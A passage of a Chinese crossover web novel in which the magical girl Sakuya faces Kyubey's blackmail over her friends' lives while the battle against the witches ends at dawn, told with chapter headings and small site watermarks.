看来自己拼命展现出来的实力还是够格了的，能够吸引到丘比最大的关注，那么其他人那里自然就会轻松许多。 ‘还记得我上次说的话吗？’ 虽然朔夜依旧冷淡地没什么反应，但丘比已经习惯了。 它一点也不着急，仿佛一切尽在自己的掌控之中，自顾自地又说起上次被对方打断的话题： ‘我说我很期待我们的下次见面，说等到那时，你或许就会后悔自己的选择……’ ‘怎么样，朔久，你现在后悔了吗？’ 第239章 后悔了吗？ 白发少女站在较高的地方，风卷着灰烬从她面前掠过，她的视线随之不自觉地向远处眺望。 曾经这里是最繁华的城区，就算是如今这般深的夜晚，霓虹灯也会亮得灿若繁星。 但是眼下，能看见的只有—— 被拦腰折断的高楼、四处插着的裸露钢筋、严重挤压变形的车辆、焦黑与血红混杂的地面…… 风里一直传来腐烂的腥味。 已经死了多少人呢？ 即使有着提前充分的准备，其他同伴也已经尽量疏散并保护着民众离开，但是死亡的人数仍旧是一个非常可怕的数字。 光是想到，就能令人心底不断蔓出寒意来。 “……你也忘了我上次说过的话吧？” 伊江朔久突然漠然地开口。 丘比愣了一下，还没来得及回忆对方指的是什么。 一支箭矢就以肉眼难见的速度飞了过来，伴随着“咻——”的声音，白色生物的身体多了个巨大的血洞。 它倒了下去，立刻就没了动静，整个死透了。 伊江朔久才慢慢出声道： “我说过，再出现在我面前的话，见你一次，就杀你一次。” 没过多久，另一个一模一样的白色生物又不知从哪个角落冒了出来。 丘比的心态似乎没有受到多少影响。 它慢吞吞地走到了自己刚才的尸体旁边，低下了头，居然毫不在意地开始啃食起了这具尸体。 这幅画面诡异又猎奇，真令人恶心。 伊江朔久面无表情，手却忍不住又微微动了动，很想再杀一次对方。 不过那样的话，这里的丘比含量估计就会变得越来越多了吧，毕竟总也杀不完。 丘比及时出声道：‘你早就知道了吧，这样杀死我是没用的，只会白费力气而已。’ 它就像是在以胜利者的姿态，摆出了一副包容的态度，认定对方已经无路可走了一般。 伊江朔久：“……” 丘比又补了一句：‘难道都到了这种时刻，你还是只想着报复我来解气吗——’ 它的话音还没彻底落下，便又双叒叕成了一具新鲜出炉的尸体。 伊江朔久放下了手里的弓箭，没多说什么话，却用实际行动体现着“有何不可”的态度。 ‘……真是任性啊。’ 又一只新的丘比冒了出来。 它怎么以前没发现，伊江朔久还有着这样性格的一面呢？ 明明以前那么能够忍耐，说开了之后却变得这么任性。 这算是压抑太久之后的爆发么？ 看来，伊江朔久是真的很厌恶它，也是真的很重视那些所谓的同伴。 人类的感情果然是复杂又麻烦的东西……不管再过多少时光，它对此的看法大概都不会改变，幸好自己绝不会产生情感这种负累。 ‘还是放弃吧，朔久。’ 丘比用着一种我是在为你好的语气，劝说道： ‘如今我还能继续孵化出很多魔女来，但是你可以坚持多久？其他人又可以坚持多久？为什么要这么固执呢？’ 丘比的那双红瞳一眨不眨地盯着对方，仿佛视线能穿透青白色的长围巾，看清楚那下面灵魂宝石的状态一样。 空气中的沉默在蔓延。 白发少女此刻的样子看起来确实算是前所未有的狼狈。 即使是因为很久之前与天平做的代价交换，使她的灵魂宝石不会轻易黑掉，但也不可能抵得过这样长时间的耗损。 更何况由于担心着其他魔法少女的情况，她当时几乎是将这么久以来尽可能存下的悲叹之种全送出去了，根本没给自己留多少，眼下的状况的确很不容乐观。 所以，丘比的威胁很有道理。 但是…… “已经够了吧，你没有比刚才那个复数魔女集合体更加强大的魔女了，不是吗？” 语言如同利刃，精准地挑开了虚伪的幕布。 伊江朔久很是平静地说道： “你所拥有的魔女数量也在大幅度减少，都已经被杀了这么多魔女，你剩下的悲叹之种存量也不多了吧。” 丘比静静地看着白发少女，没对她的猜测有什么表示。 但是，对方的语气却愈发坚定。 “别装了，你所剩下的魔女坚持不了太久。” 白发少女用余光扫了眼周围。 比起先前那一个又一个魔女接连涌上来，仿佛要用车轮战将她耗死的情形来说，现在可谓是轻松太多了。 从丘比出现开始，周围便不再继续涌现大量魔女，留给了她足够的歇息与交谈时间。 看似是丘比为了方便谈话才这么做的。 但是伊江朔久看透了它的伪装，一字一句地道： “否则……你应该等到在我濒死的时候才会出现，然后再高高在上地说出自己的目的。” “到那个时候，也不用担心我会不会同意吧？” 丘比：‘……’ “怎么？”伊江朔久顿了顿，明知故问地道：“你不辩解一下吗？” 丘比的耳朵微妙地抖了抖。 它不能说谎去欺骗他人，此刻自然无法否认对方的话。对方肯定也明白这一点，才这样得寸进尺。 它能说的只有——‘我说了，我还能继续孵化出很多魔女来。’ 这是真话。 当然，它一次也没有说过假话。 但伊江朔久忽然笑了起来。 那个笑容很陌生……不是一向冷漠孤僻的最强魔法少女的笑容，也不是身体有缺陷的白发青年温和包容的笑容。 却能让人感觉很真实。 仿佛那层层套上的厚重虚假外壳，突然主动被短暂地剥离了一瞬，从缝隙中隐约透露出对方几乎从未示人的某些本质。 “在我死之前——” “就能够杀光你剩下的那些乌合之众。” 第240章 丘比怔了好一会儿。 它感到有些意外。 没想到都到这种时候了，对方居然还能表现出这样的态度。 真是……狂妄啊。 孵化者们当初费尽千辛万苦才瞒过圆环之理和那个可怖的恶魔，来到这个崭新的特殊世界，存储下了数量那样可观的悲叹之种。 以一个人的力量就想要将其尽数毁掉，这谈何容易？就像蚍蜉撼树一样，听起来只会令人觉得好笑。 但是，如果是眼前这个人的话…… 丘比无奈地想，它应该是会相信对方的。 和伊江朔久已经相处了这么久，又加上后续调查获得了对方的很多信息，丘比本来以为自己够了解这个人了。 但对方仿佛总能带来新的惊喜。 就比如说这一次…… 即使孤身一人，即使面对强大到前所未有的复数魔女集合体，即使一次次对上数不尽的魔女使魔…… 伊江朔久都还是坚持到了现在仍有一战之力。 到底得做到哪种地步，才能试探到对方的尽头呢？ 丘比直直地盯着面前的白发少女，忽然想起两年多前，对方“坦然”讲述出自己许下的愿望时的样子。 ——‘我想要……成为最强的魔法少女。’ 那时候对方露出的笑容也是极为罕见的，如同朝阳般明亮又温暖，令人颇为期待。 只可惜，对方只能成为它的敌人…… 而掌控了人类这么漫长的光年，又经过了鹿目圆和晓美焰这两个惨痛教训，丘比自然也是成长了许多，远比以前更擅长利用人类的情感。 ——它是有着绝对充足的把握才站到这里来的。 ‘不愧是最强大的魔法少女，你的实力确实在我见过的所有人之上。’ 丘比真心实意地说道。 当然，已经脱离了魔法少女界限、甚至是脱离了人类界限的鹿目圆和晓美焰不能被包括在内。 ‘我都快忍不住想要相信，当年你所说的愿望是真实的了呢。’ 这句话丘比明显若有所指。 像是故意抛出了一个引子，就等着伊江朔久主动来问一样。 伊江朔久顿了顿，道：“你觉得，我当时说的是谎言吗？” ‘不然呢？’ 丘比歪了歪头，反问道：‘一直以来，你不都在说谎吗？不管是对我，还是对其他的那些魔法少女。’ “……” 伊江朔久确实无法否认。 ‘其实，我也不是那么好骗。’ ‘虽然你足够能忍耐，也足够擅长伪装……但是很可惜，仅仅是这样，就想将孵化者蒙骗于股掌之中，还是太天真了。’ 丘比不急不慢地说道： ‘很早之前，从我刚来到这里时就发现了，我身上带着只属于这个世界的悲叹之种。’ ‘而我却什么也不记得，就好像被抹去了记忆一样。’ 伊江朔久明白它的意思：“所以，你也早就发现我的异常了。” ‘是啊，我早就隐约觉得你并不是表面上那么简单，大概率背后隐藏着什么有趣的秘密。’ ‘不过没想到……居然会是这样的答案。’ 伊江朔久沉默下来。 丘比能掌握这些信息并不算出人意料。不过，她也想听听对方如今已经知道了多少，便没有插话。 ‘你本源的能力很有意思，只要交付足够的代价，似乎真的什么都可以做到。’ ‘那什么只能用于提升自己的限制，完全只是糊弄我的谎话吧。’ 丘比的尾音微妙地上扬了半度。 ‘你就是用这样的能力，改变了世界的因果线，抹去了我的记忆，使我只能借助你的力量才能影响到这个世界，对吗？’ 从来都没有什么穿越者，也没有像晓美焰那样的时间回溯。 只不过是对方抹掉了过去曾经发生的事情。 然后编造了一场谎言，使他们达成了契约，成功换来了萩原研二、织田作之助那些人的性命，并将本该发生的那些悲剧轻而易举地化解了。 ‘不得不承认你计划得很漂亮。’ 丘比猜出了伊江朔久的想法。 对方应该是能够明白，即使失去了记忆，孵化者们终有一天也还是会为了宇宙的存亡而找到这个充满希望的新世界。 到时候，就算它们发现无法干涉影响这个世界，也绝对不会甘心地就此放手。 它们很可能会退而求其次。 ——无法持续收集魔法少女堕落成魔女而产生的庞大能量，那就干脆换个手段，将这个世界变成获取能量的一次性用品得了。 就比如这一次，投放大批悲叹之种催化成的魔女，将众多人类逼入生死绝境，它们便能从中获取大量情感能量。 只是，人类的数量就这么多，这种方法简直就是竭泽而渔。 经过长期验证，契约魔法少女这是最有效的可持续方法。只要看到能够实现这个方法的机会，丘比就不会轻易放弃。 伊江朔久就是明白这些，才会选择假意和它合作，用魔法少女这个幌子吊着它，自己来选择决定签订契约的对象…… 以此来拯救自己过去那些重要的人，并且尽量维持世界的安稳和平吧。 丘比这样想着。 其实如果伊江朔久多做出一些让步，眼前这样糟糕的局面也不会这么早就发生。 但是很可惜，对方被情感蒙蔽了理智。 不仅是找人签约时为对方着想而再三考虑，还不愿意让其他那些所谓的魔法少女同伴变成魔女，甚至对它厌恶至极以至于难以维持合作关系…… 所以……‘也该到此为止了，放弃吧。’ 这是丘比第二次对伊江朔久说‘放弃吧’。 与上次一样，白色生物看起来仍旧有着充足的信心，红瞳注视着伊江朔久，身后的尾巴轻轻地摇动着。 “你既然已经知道我有着那样特殊的能力，为什么还是这样自信呢？” 伊江朔久的语气很冷。 丘比感受到了对方的杀意，总觉得很可能下一秒，又会有支箭矢插穿自己的身体。 但是比起即将要收获到的硕大胜利果实，这种几乎用不完的躯壳消耗几具也没什么大不了的。 ‘因为我们都清楚，世界上从来不会有免费的午餐。’ 丘比言简意赅。 虽然它不太清楚伊江朔久到底都付出了哪些代价，但是这种代价肯定不轻松。 要是对方还能支付得起的话，当初就不会只是抹除了它们关于这个世界的记忆，也不会选择和伏黑惠、松田阵平他们签订契约，更不会放任如今这么多民众的死亡。 况且丘比知道，它们孵化者的存在比任何人类都要高级，是非常特殊的文明物种，一直以来都在为宇宙的安危而尽心尽力。 单凭一个人类个体，最多能付得起怎样的代价？ 这种奇迹般的能力在对方那里，还是太浪费了。 伊江朔久微微垂下眼帘，额发阴影下的神情似乎没什么变化，却比先前更令人感到压抑。 “……就算不用等价交换的能力，我依旧能够杀掉所有魔女，你要试试看吗？” 语气仍旧是那么坚决。 从目前的情况来看，伊江朔久的确有这样的实力，在宝石彻底黑掉之前很大几率是能够解决掉剩下的全部魔女的。 而丘比本来就受到限制，只能通过提前存储下来的这个世界的悲叹之种，间接影响到这里。 在那些悲叹之种被消耗了大半精锐的现在，丘比看起来确实没什么与伊江朔久抗衡的力量。 但是…… 谁说需要和对方正面抗衡了？ ‘我确实相信你可以做到。’ 丘比话头一转，脸上永远不变的微笑表情仿佛又上扬了几个弧度。 ‘但是，其他人呢？’【你现在阅读的是 】 240-250 第241章 空气仿佛忽然变得滞涩起来。 丘比静静地看着面前的白发少女，对方听到这种威胁毫不惊讶，似乎早有预见，但是此刻却神情郁郁一言不发。 它明白，自己成功了。 人类的情感复杂又麻烦，利用起来是非常危险的，但同时却也非常有效。 所以，无法战胜对方没有关系，陷入弱势的局面也没有关系……只要掌握着于对方而言最重要的一个软肋，就足以立于不败之地。 ‘你还不明白吗？朔久。’ 丘比劝诱的话语缓缓响起。 ‘没有在你在意的那些人身边投放危险致命的魔女，这是我给你的诚意啊。’ 它说得没错。 如果那些过于危险的魔女使魔不断涌现在其他人身边，那些人估计现在早就死了，根本没办法坚持到现在。 就算伊江朔久这两年来尽量帮助其他魔法少女提升战斗力，特意为她们存下许多悲叹之种也没有用。 要是丘比真的打算针对她们，伊江朔久一个人很难保障所有人的安危。 更何况像萩原研二、佐藤美和子、榎本梓那些普通人，自保能力偏弱，更容易随便一个意外便轻易死掉。 ……生命太脆弱了。 伊江朔久忽然有点难以呼吸的错觉。 所谓的最强的魔法少女垂着头，白发略微有些凌乱地散落在眼前，遮住了自己此刻的神情。 看上去少了难以接近的感觉，不再仿佛永远锐不可当，反而倒是比较符合寻常人类的形象一些了。 丘比对此应该是乐见其成的。 它希望伊江朔久拥有足够奇迹般的能力、真的能够匹配上最强这个名称的实力，却也不希望无法掌控住他。 所以，它拿这些人的性命作为要挟，得到了自己满意的结果。 伊江朔久也早该知道的。 到了最后时刻，自己的身边就会是最危险的地方。 明明伊江朔久一开始是想要将那些人推远的，却又无法看着其他人遇险而放任不管，以至于……还是到了如今这种局面。 沉默了好一会儿，伊江朔久终于再次开口：“……我该谢谢你的诚意吗？” 丘比没接话，而是道： ‘已经有很多伤亡了，为了剩下的那些人、为了你在意的那些人，就此放弃吧。’ ‘你不想看着他们死掉吧？’ 虽然是问句，但丘比用着仿佛在陈述一般的确定的语气。 它很清楚伊江朔久会怎样选择。 一个人的最强才是最强。 最强这个词汇只是针对唯一的个体而言的。 当对方身侧有了其他人的存在，便不会无所顾忌。就算拥有无可匹敌的实力，也还是会沦落到被别人操控的下场。 而孵化者们却永远不会有这种情感的负累。 ‘其实，把我逼到这种程度，你所求的目的已经算是至少实现了大半吧？’ 通过这两年多的观察，丘比自认为虽然无法保证彻底了解对方，但也不至于什么都看不透。 丘比觉得，伊江朔久不可能那么天真、那么自满，觉得轻轻松松就可以将孵化者们玩弄于股掌之中，一切都能按照自己期待的方向前进。 相反对方是个聪明人。 甚至，伊江朔久或许也有想到，如今被以那么多人的性命为要挟的局面。 只可惜很多时候，就算能够推测出未来，也无法做到将其改变。 所以，以最现实的角度来看，伊江朔久只能争取掌握更多的砝码，让自己尽可能获得谈判的机会。 对方也确实做到了。 否则，丘比只会在对方濒死的时候出现，自己揽过所有的主动权，高高在上地说出自己的要求。 而那时对方根本不会有拒绝的能力。 “是啊。” 伊江朔久低声喃喃着：“或许……这已经是能做到的最好的结局了。” ——五条悟、津美纪等人不会再出事。 ——萩原、织田、斯科蒂他们已经死而复生。 ——宿傩、羂索、费奥多尔、黑衣组织带来的威胁消饵于无形。 ——魔法少女组织如今有了足够的实力和话语权，足以维护世界的和平与安稳。 ——今天之后，当她们拿到自己最后的赠别礼，应该也就不会再因愿望的偏离而感到痛苦…… …… 所以，还有什么好贪心的呢。 “丘比，你应该知道我的要求吧？” 伊江朔久声音很轻地问道。 终于松口了啊。 丘比的尾巴仿佛都摇得更轻快了些。 没办法……眼前这家伙的棘手程度堪比鹿目圆和晓美焰，好不容易才取得胜利，当然是一件值得高兴的事情。 ‘当然。’ 它语气温和包容地承诺道： ‘我保证，不会再想办法诱导目前的这些魔法少女堕落成魔女，也不会再伤害你在意的任何人。’ ‘你知道的，这已经是很大的让步了。’ ‘她们是那么有潜力，本应该能从其身上获取巨大的情感能量来阻止熵增，但我也愿意放弃唾手可得的果实……’ 伊江朔久不愿意再听下去了。 也没多少人会愿意站在丘比的立场上，听这些恶心人的话语吧。 于是，伊江朔久打断了它的话，直白地问道： “所以，你的要求到底是什么？” …… 战斗持续了多久来着？ 很多人都记不太清了，也没有时间与精力去关注别的事情，只是应付自己眼前的战斗就已经够难熬的了。 周围总是有人在死去，也总是有新的魔女使魔出现。 越发深邃的夜晚，弥漫着越发令人难以忍受的绝望…… 伏黑惠刚刚又艰难地解决了一只难缠的魔女。 与此换来的是，身上又添了一道‘致命伤’，灵魂宝石又黑了好几个度，墨绿色的连衣裙开衫也都快要彻头彻尾地变成黑红色了。 黑发绿眸的魔法少女一时有些脱力，半跪在废墟上，却在尽可能地逼迫自己快速恢复状态，以应对下一只迎上来的魔女或使魔。 在这种情况下，根本没什么休息的时间。 一旦放松警惕，要么会有魔女使魔从这里流窜出去，要么自己就可能因灵魂宝石意外被破坏而死。 但是…… 情况似乎渐渐变得不太一样了？ 察觉到周围攻势减弱、处境貌似比刚才轻松多了之后，伏黑惠心里微微一动，抬头向远处望去，忽然发现—— 魔女使魔的数量变少了。 这不是错觉。 不再有新的怪物从各处阴影中爬出，也不再有扭曲奇怪的力量突然于虚空中出现…… 原本如潮水般扑来的魔女使魔，此刻竟变得稀疏了不少，像是终于被消耗殆尽、战局总算是走到了尽头一般。 第242章 伏黑惠不觉松了口气，但心里也随之升起了疑惑。 局势是不是变化得有点过快了？ “……真的、结束了吗？” 她自言自语似的喃喃着，嗓音格外沙哑干涩。 明明不久前还有无数魔女使魔莫名其妙地接连出现，但是突然间，就再也看不到新的怪物的踪迹了。 总觉得让人有一点不安，怀疑是不是还有什么糟糕的情况在后面等着他们。 不过，就目前而言，能获得一些休息恢复的时间便已经算是很好了。 …… 更远的地方，虎杖悠仁刚用短刀插入一只魔女的头颅，黑红色的污血泼洒在焦土上。 她收刀后撤，已经做好了迎接下一波攻势的准备。 毕竟，虎杖悠仁也知道自己的能力很适合战斗，就尽量守在比较关键的位置，也是很容易涌现出新的魔女使魔的位置。 按照之前的情况，她几乎很难有休息的机会。 但是这一次…… 她谨慎地拿着刀，等待了许久，可是—— 没有新的魔女再出现了。 …… “好像结束了？” 成为魔法少女没多久，便经历了漫长而难熬的战斗，险些以为无法活着等到胜利的那一刻了，却在转瞬间峰回路转。 降谷零难免有些恍惚。 但是，厚重的云层正在散去，东边一缕晨光撕开阴霾，恰好落在她染血的指尖。 她下意识地缩了一下手，迟疑片刻，却又重新将手放回到阳光之下，体会它带来的温度。 虽然这缕光芒并不耀眼，却似乎格外温暖，令人从心底源源不断地渗出暖意来。 松田阵平也忍不住抬起头，看向天空。 “是啊，总算是天亮了。” 远方的地平线上，朝阳此刻正在缓缓升起。 黑夜持续了太久，久到几乎所有人都快以为日出不会再到来了，但此刻阳光还是如约而至。 温暖的光芒抚过满目疮痍的城市、残破的街道、倒塌的建筑，渐渐照亮了每一处阴暗的角落，也照亮了每一个幸存者的面庞。 希望随着阳光而蔓延，重新在人们心底燃烧起来。 战场上还残余的那些魔女使魔没了新的支援，在爆发了希望的人们面前节节败退，终于全部被消灭殆尽。 这时，天边的最后一缕黑暗也被光芒吞噬。 黑夜彻底结束了。 支援者们携带的特殊染料已然耗尽，子.弹和炸.药所剩不多，国木田的笔记本只剩下最后一页，夏油杰能操控的咒灵也几乎都快要丧失战斗能力…… 但是很幸运。 他们在无法坚持下去之前，先一步迎来了奇迹般的胜利。 一起战斗过了的同伴们疲惫不已，或是瘫坐在地上歇息，或是互相搀扶着，大多数人的脸上都放松地露出了无意识的笑意。 终于从这场漫长的噩梦中清醒过来了，新的一天也到来了。 …… 沐浴着温和的晨光，虎杖悠仁缓了好一会儿，突然像是想起了什么，连忙拿起松代提前给自己改造好的手机来。 还好还好…… 手机只是有了几道裂纹，使用还是没多大问题，能够联系上其他人。 她习惯于近战，战斗风格又一向暴力，只顾得上不惜一切地护住自己的灵魂宝石，这手机能幸存下来算是很不容易了。 虎杖悠仁没多犹豫，径直打开通信群组。 换了两个号，先后给相识的魔法少女们和咒术师们发去了关切的问候：【你们没事吧？】 钉崎和东堂葵他们很快先回复了消息，表示自己状态还行。 其他魔法少女们要面对的情况更棘手，而且身边几乎没多少可以互相照看的同伴，让虎杖悠仁更加难以放心。 过了一会儿，应该也是处理完剩下的魔女了，她们便接连回复了消息。 安凛：【没问题，这边已经解决了。】 松代：【嗯，不用担心。】 禅院穗：【＋1】 津岛：【我也是，真糟糕呢，又没能死掉啊。】 …… 嗯……认识这么久了，也算是熟悉这些人的画风了，虎杖悠仁让自己尽量暂且忽视掉津岛惋惜的口吻。 都没事就好。 又等了一会儿，询问是否安全的其他人几乎都回了消息，就算某些人通讯设备坏掉了，也有别人帮忙在群组里转达那些人的情况。 不过……朔夜怎么还没回复消息？ 虎杖悠仁皱起眉来，有点担心。 但是转念一想，其他魔法少女都没什么事，那朔夜大概就更不可能会出什么问题吧。 毕竟对方是她们之中最强的，一直以来都很让人信赖，从来没见过有对方战胜不了的对手。 现在还没回消息，估计只是朔夜还没看通讯设备的缘故。 以前她们在群聊里热切交谈的时候，朔夜也总是很安静。 往往其他人都发了几十条消息，朔夜可能才会随便回复简单的几个字，不在线才是她的常态。 这么一想，虎杖悠仁便也放心多了。 忽然，群组里又多了一个人的消息。 粉黑发少女的瞳孔猛然收缩，一时间简直要怀疑自己是不是看错了，那个人怎么会这个时候在线。 但是确实没看错，是艾尔菲。 对方应该是刚刚清醒过来，此刻估计还是一个人处于安全屋内，没太能搞清楚现在的状况。 艾尔菲：【……你们在干什么？】 艾尔菲：【东京是不是出了什么事？我怎么昏睡了半个多月？这期间到底都发生了什么？安凛又是谁？】 看得出来，她此刻有很多疑惑迫切想要得到解答。 虎杖悠仁一只手捂住脸。 这段时间内感觉发生了太多事情，她们得知了很多令人难以接受的真相，又引发了不少新的谜团，出现了非常危险的敌人，而且敌人很可能就是丘比…… 一时间还真有点难以跟艾尔菲解释。 况且也不知道，对方能不能一下子接受这么多糟糕的情报，万一灵魂宝石突然不小心黑透就完了。 群里的其他人先回复了艾尔菲。 安凛：【@艾尔菲，我算是新签约的魔法少女吧，今后请多指教了。】 津岛：【你之前不小心中招了呢，忘了吗？你在梦境魔女的美梦里待了将近一个月。】 津岛：【这期间我可是帮你承担了很多工作，超级辛苦的，之后记得一定帮我补回来哦。】 艾尔菲：【……】 松代：【东京及其附近地区忽然出现了大批的魔女使魔，目前整座城市被毁得差不多了。】 艾尔菲：【？？？】 松代：【不过，因为有着提前的准备，还有其他很多组织和官方的帮忙，大量民众已经早早被转移走了，这里的魔女刚刚也都被解决完了。不用过于担心。】 艾尔菲似乎是一回接收了太多信息量，缓了好一会儿，忍不住又发了一条消息问： 【能再详细地解释一下吗？】 这时候，津岛也发了条消息： 【@艾尔菲，对了，你的家人不久前来到日本找你，很倒霉地在东京站台撞见了魔女呢。不过，我已经将她们提前转移到了安全的地方。】 艾尔菲一下子就顾不上其他事情了，急急发道：【具体地址在哪里？】 其实，菲茨杰拉德醒来之后最先看的就是来自家人的信息……有很多条新消息和未接来电，大多都是妻女在询问自己状况如何。 她暂时有些不知道怎么解释，便先来从其他魔法少女那里获得情报。 没想到泽尔达和斯科蒂会为了找自己，而来到东京陷入危险。 明明就是不想让她们出事，才一直瞒着她们的……可到头来还是没能够保护好她们。 菲茨杰拉德垂下头，这段时间在梦里与家人相处的种种片段在脑海浮现。 余口惜口蠹口珈 ……是自己做错了吗？ 第243章 津岛报了一个在山梨县大月市的临时避难所地址，告诉艾尔菲她的家人目前在那里。 紧接着，她又提醒了对方两句： 【当时为了安抚她们，我承诺等到一切事情结束之后，便会告诉她们你的下落。】 【她们看上去……真的很担心你呢。】 艾尔菲并没有因为津岛额外的行为而生气。 那一端沉默了会儿，不知道都想了些什么。最终，她的回复迟了好几拍才传来： 【……我知道了，谢谢。】 之后，群里就暂时安静下来，没有什么新消息了。 虎杖悠仁想，艾尔菲应该是去找她的家人了，希望她们能够好好沟通一番。 在遭遇梦境魔女之前的很长一段时间里，她记得艾尔菲心情就总是比较低落。 虎杖悠仁隐约能猜到，对方似乎是因为和重要的人产生了矛盾，一直拖着没能解决。 ——家人之间，总能够应该互相理解的吧？ 忽然，虎杖悠仁意识到，既然艾尔菲都醒过来了，那其他因为梦境魔女而陷入沉睡的人是不是也都苏醒了？ 她点开私聊，关心地向禅院穗发了一条消息： 【伏黑，你姐姐还好吗？】 伏黑惠那边半天没说什么消息，过了好一会儿，才回复了一条简短的讯息：【嗯，她醒了。】 看样子，伏黑惠现在应该正忙着和津美纪谈话。 虎杖悠仁不准备再打扰她们，于是收起手机，仰着头望向天空。 看着无垠的蓝天、游动的白云，以及那轮温暖柔和的朝阳…… ——真好啊。 仿佛所有的困境，都在此刻迎刃而解了。 “悠衣——” 身后传来熟悉的、带着笑意的呼唤，那是钉崎野蔷薇的声音。 虎杖悠仁回过头去。 …… “……怎么还是没有回复消息？” 松田阵平有点焦躁地低声喃喃着，指尖无意识地敲击着手机边缘。 她不停刷新着手机聊天界面，很在意伊江朔久如今的情况，一直给对方的两个账号发消息、打电话，可却全部都石沉大海。 朔夜应该是不用人担心的吧。 但是在得知对方其实也是伊江朔久之后，就没那么令人放心了。 毕竟，也是多次见识过了伊江朔久的倒霉程度——刚认识那会儿，对方就又是遇见混混、又是进入魔女出现的医院、又是险些成为死者…… 当时松田阵平也不清楚伊江朔久的真实实力，时常看着对方陷入糟糕的处境，明明身体情况不好，却总还是会主动出手帮助他人。 所以，松田阵平也自然而然地形成了担心对方的习惯。 果然……还是得去找一下朔夜啊。 “安凛。” 松田阵平下定了决心，突然开口，向旁边不远处的降谷零道：“这里剩下的事情先拜托你了，我要离开一趟。” 降谷零疑惑道：“现在？你想做什么？你身上的伤还没有恢复完，先休息一会儿比较好。” 松田阵平摇了摇头：“我要去找朔夜。” 松田阵平做下的选择一般情况下都是不会轻易更改的，作为朋友，降谷零当然也非常清楚这一点。 她妥协了：“……好吧，这边我来处理就行。” “谢了，确认没事后，我就回来帮忙。” 从降谷零那边离开后，松田阵平一路往着废墟深处前进。 虽然战斗忙起来之后，便似乎没有跟朔夜再联系过了，但是不用想也知道——对方肯定处于最危险、魔女残余气息最多的战场。毕竟以往每次几乎都是如此。 因为整座城市已经被破坏得差不多了，之前津岛存储在各个地点的书页也没能幸免。 所以松田阵平失去了远距离瞬移的办法，只能靠自己慢慢去搜寻。 她消耗了不少时间，也费了好一番功夫去找。 这期间朔夜还是没有任何消息。 ……不会真的出了什么事吧？ 松田阵平的担心随着时间推移越发累积起来。 虽然未愈合的伤处还在慢慢渗血，只要动作幅度偏大就会引发剧烈痛楚，但她还是加快了步伐，此刻已经顾不上别的什么了。 空气里弥漫的浓重血腥味一时半会儿难以消散，远处偶尔还传来建筑残骸坍塌的闷响…… 眼前的一切看起来太糟糕了。 越是深入，便越是一副死寂的场景。 尽管这次的战斗应该算是取得了胜利，但是付出的代价也不可谓不惨痛。 如今整个国家都因为这次事件而乱成一团糟，异能者和咒术师忽然暴露在大众面前，最具代表性的重要城市被毁得一塌糊涂，而且在此死去的人和需要安顿的幸存者都太多了…… 松田阵平咬着牙关，不安感在胸腔里膨胀。 周围的这些残败场景让她久违地想起了六年前的某一天，当时自己看着萩原研二主动走进了炸.弹犯布下的陷阱，最终和那个废弃工厂一起化作灰烬、尸骨无存。 ——绝对不想再看到重要的人死去了。 就在这个念头闪过的瞬间，余光捕捉到了远处一个熟悉的身影。 松田阵平来不及思考就立刻迎了过去。 距离逐渐拉近，那个人的模样也越来越清晰——的确是朔夜。 白发少女的样子看起来比以往狼狈了不少，白色长发被血黏连成缕，碎发贴在苍白的脸颊上，衣物上浸染着半干涸的暗红。 不过，还好，对方还活着。 只要能够活着就一切好说，毕竟她们是魔法少女，没那么容易死掉。只要有足够的悲叹之种，什么伤势都总能痊愈如初。 松田阵平终于松了口气，紧绷的神经稍微松弛了些许。 随即，她忍不住立刻问道：“你怎么都不回个消息？” 白发少女缓缓抬头，对上她的目光。 那双青色眼瞳依然如玉石般清透，里面某种说不清的东西却似乎变得不太一样了…… 对方就这样静静地看着她，一时没有说话，心里仿佛正在想着什么要紧的事情。 松田阵平早就习惯了这样冷淡的朔夜，但是当对方与伊江朔久画上等号后，便忽然有点不太适应了。 ——不知道是不是因为这个缘故，她此刻才会觉得有点别扭。 松田阵平张了张口，没有思考，话语就自然而然地吐露出来。 “……其他人现在都很担心你的情况，我也是。” 白发少女顿了下，终于出声了：“抱歉，我的通讯设备不小心坏了。” 不知道为什么，对方这句话说得比较慢，能够隐约从中听出一丝滞涩之感。 ……又是谎言吗？ 松田阵平觉得朔夜应该是又隐瞒了什么事情。 毕竟这么长时间过去了，就算是通讯设备坏了，对方也应该能够换个方法来联系上她们吧。 第244章 不过，谎言就谎言吧。 对方不是第一次说谎，也不是第一次有所隐瞒，松田阵平觉得自己早该习惯了。 她没准备揭穿朔夜，反正对方应该也不会说实话。 之前松田阵平就想好了，还是一步一步慢慢来，先让伊江朔久习惯同伴们的帮助，别再什么事都藏着掖着自己一个人扛着。 只是……刚才那种程度的战斗，她们却仍旧没有足够的能力分心去帮忙，只能使朔夜一个人守在最危险的地方。 还得变得更强。 如果下次再遇到这样的情况，一定要多为对方分担些压力……得有足够的能力站在对方身边才行。 松田阵平默默下定了决心。 但是…… 明明好不容易局势才转危为安，之前一直昏睡的同伴醒过来了，朔夜也没出什么事情…… 为什么自己心中始终无法安定下来呢？ 一向很敏锐的直觉好像在提醒着自己，有哪里似乎不太对劲，却怎么也找不到具体的标靶。 松田阵平仔细思索了一番，隐隐感觉自己还是有点担心朔夜。 于是，松田阵平抬眼打量了一会儿白发少女，甚至还慢步绕着对方转了一圈，眼里满是探究之色。 白发少女看上去不太习惯，声音有点冷地道：“你干什么？” 松田阵平坦诚地关心道：“我在看你有没有受什么特别致命的伤。” 一半说着，她还一边忍不住直直盯着对方头部右侧。 这一处伤势最不好遮挡、也最严重，毕竟当时头颅都已经破损了一小半。 虽然伊江朔久先前用悲叹之种快速先恢复着这部分，但如今也暂时能看得出伤势的痕迹。 “还好……只是有点头痛。” 白发少女轻轻抚了一下右侧的发丝，这么说道。 ……有点？ 闻言，松田阵平不由得表情严肃了几分。 谁会相信对方的这种说辞啊？ 对方作为伊江朔久时，就惯会逞强，自己受伤了也不上心，只顾着先关心别人的事情。 而作为朔夜的时候，就更加不坦诚得离谱了，什么也不愿意说，总是用沉默代替回答。 能让这家伙承认有点痛，那肯定就是很痛了。 说起来，是不是因为对方头部受伤比较严重，现在还没缓过来，所以自己才会隐约觉得不太对劲？ 有道理。 松田阵平暂且收回自己没用的多余思绪，先忧心地对眼前这个喜欢逞强的家伙说： “去禅院那边看看吧。估计是因为原先的心境恢复了，她治愈的能力又可以再次使用了，让她帮你治疗一下。” 白发少女想也不想地拒绝了：“没必要。” 接着，抬眼便对上松田阵平不赞同的目光。 “……” 白发少女沉默了几秒，随后解释道：“现在需要治疗的人很多，她应该忙不过来，就不必浪费时间和力量了。” 松田阵平立刻道：“给你治疗不算是浪费。” 